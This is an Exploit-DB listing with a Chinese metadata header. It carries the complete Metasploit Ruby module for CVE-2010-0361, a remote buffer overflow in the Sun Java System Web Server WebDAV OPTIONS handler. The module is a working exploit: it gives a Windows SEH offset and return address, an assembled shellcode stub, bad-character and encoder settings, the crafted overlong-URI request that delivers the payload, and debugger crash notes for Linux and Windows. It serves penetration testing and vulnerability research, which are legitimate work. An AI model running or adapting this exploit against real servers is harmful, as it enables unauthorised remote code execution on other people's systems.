标题: Sun Java Web Server - System WebDAV OPTIONS Buffer Overflow (Metasploit) EDB-ID: 16314 CVE: 2010-0361 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-08-07 漏洞利用脚本: ##
# $Id: sun_jsws_dav_options.rb 9971 2010-08-07 06:59:16Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/http/client'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Sun Java System Web Server WebDAV OPTIONS Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in Sun Java Web Server prior to
    version 7 Update 8. By sending an "OPTIONS" request with an overly long
    path, attackers can execute arbitrary code. In order to reach the vulnerable
    code, the attacker must also specify the path to a directory with WebDAV
    enabled.

    This exploit was tested and confirmed to work on Windows XP SP3 without DEP.
    Versions for other platforms are vulnerable as well.

    The vulnerability was originally discovered and disclosed by Evgeny Legerov of
    Intevydis.
   },
   'Author'         => 'jduck',
   'Version'        => '$Revision: 9971 $',
   'References'     =>
    [
     [ 'CVE', '2010-0361' ],
     [ 'OSVDB', '61851' ],
     [ 'URL', 'http://intevydis.blogspot.com/2010/01/sun-java-system-web-server-70u7-webdav.html' ],
     [ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-66-275850-1' ]
    ],
   'Platform'       => [ 'win' ], #, 'linux', 'solaris', 'win' ],
   'Privileged'     => true,
   'Payload'        =>
    {
     'Space'    => 2000,
     # ugh.. crazy!
     'BadChars' => ((0..8).to_a + (0xa..0x1f).to_a + [0x7f]).pack('C*'),
     'DisableNops' => true,
     'EncoderType'    => Msf::Encoder::Type::AlphanumMixed,
     'EncoderOptions' =>
      {
       'BufferRegister' => 'ECX',
      }
    },
   'Targets'        =>
    [
     # No automatic target atm...
     #[ 'Automatic', { } ],

     [ 'Sun Java System Web Server 7.0 update 7 on Windows x86 (SEH)',
      {
       'Platform' => 'win',
       'Arch'     => ARCH_X86,
       'Offset'   => 760,
       'Ret'      => 0x12012177 # p/p/r in xerces-C_2_6.dll
      },
     ],

=begin
     [ 'Sun Java System Web Server 7.0 update 7 on Windows x86 (saved ret)',
      {
       'Platform' => 'win',
       'Arch'     => ARCH_X86,
       'Offset'   => 184,
       'Ret'      => 0xdeadbeef
      },
     ],

     [ 'Sun Java System Web Server 7.0 update 7 on Linux x86',
      {
       'Platform' => 'linux',
       'Arch'     => ARCH_X86,
       'Offset'   => 224,
       # @ 220 - 0x09703e90
       'Ret'      => 0xdeadbeef
      },
     ],

     [ 'Sun Java System Web Server 7.0 update 7 on Windows x86',
      {
       'Platform' => 'solaris',
       'Arch'     => ARCH_SPARC,
       'Offset'   => 3133,
       'Ret'      => 0xdeadbeef
      },
     ],
=end

     #
     # You can use this in order to devise other targets..
     #
     [ 'Debug Target', { } ]
    ],
   'DisclosureDate' => 'Jan 20 2010',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('PATH', [ true,  "The URI path of a WebDAV collection on the server", '/webdav'])
   ], self.class)

 end

 def check
  res = send_request_raw(
   {
    'method'  => 'OPTIONS',
    'proto'   => 'HTTP',
    'version' => '1.0',
    'uri'     => datastore['PATH']
   }, 5)

  info = http_fingerprint({ :response => res })  # check method
  if (info =~ /Sun/)
   print_status("Found server: #{info}")
   return Exploit::CheckCode::Detected
  end
  Exploit::CheckCode::Safe
 end

 def exploit

  #
  # various crashes from linux sjsws 7u7:
  #
  # 216 - 0xb5a7a384 <DACL_isMatchingSelf@plt+256>:       jmp    *0x268(%ebx), ebx: 0x41386741
  # 220 - 0xb5a80000 <_ZN16DAVVirtualServerD1Ev+148>:     add    %ah,0x84d8bff(%edi,%edi,8), edi: 0x31684130
  # 224 - 0x68413368 in ?? ()
  # 244 - 0xb5a80ba4 <DACL_GetDACLListForUri+164>:        movl   $0xffffffff,(%eax), eax: 0x41306941
  # 248 - 0xb5a836e7 <DACL_ReadDACLFile+79>:      movl   $0x0,(%edx), edx: 0x69413169
  #
  # on windows sjsws 7u7:
  #
  # 200 - 67413167 ??              ???
  # 2000 - smashes SEH, hits end of stack, 357a4134
  #

  uri = ''
  uri << datastore['PATH']
  uri << '/' if uri[-1,1] != '/'

  # Just crash it nicely...
  if (target.name =~ /Debug Target/)
   uri << Rex::Text.pattern_create(2000)
   encoded = "\xcc"
   encoded << "A" * (payload_space - 2)
   encoded << "\xcc"

   #sled = Rex::Text.charset_exclude(payload_badchars)
   #encoded[32,sled.length] = sled

  elsif (target.name =~ /\(SEH\)/)
   off = target['Offset']
   rest = ''
   rest << rand_text_alphanumeric(off)

   seh = generate_seh_record(target.ret)
   stub = "
    sub esp, -0x1a0
    pop ecx
    pop ecx
    sub ecx, 0x3c
   still:
    mov al, [ecx]
    cmp al, 0x41
    jne nope
    inc ecx
    jmp still
   nope:
    jmp ecx
   "
   seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string

   rest << Rex::Text.to_hex(seh, '%')
   rest << "A" * 256
   rest << payload.encoded
   rest << rand_text_alphanumeric(2200 - rest.length)
   uri << rest

   encoded = rand_text_alphanumeric(32+rand(64))

   # From CORE local PoC
   #uri = '/' + ("D"*2000) + '/..' + datastore['PATH'] + '/' + rest
  end

  # NOTE: We could use this to avoid badchars, but it ends up putting a url encoded version
  # of the payload in memory, not exactly what we want :-/
  #encoded = Rex::Text.to_hex(pl, '%')

  res = send_request_raw({
   'method'  => 'OPTIONS',
   'proto'   => 'HTTP',
   'version' => '1.0',
   'headers' =>
    {
     'Referrer' => encoded,
     'User-Agent' => encoded
    },
   'uri'     => uri
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/16314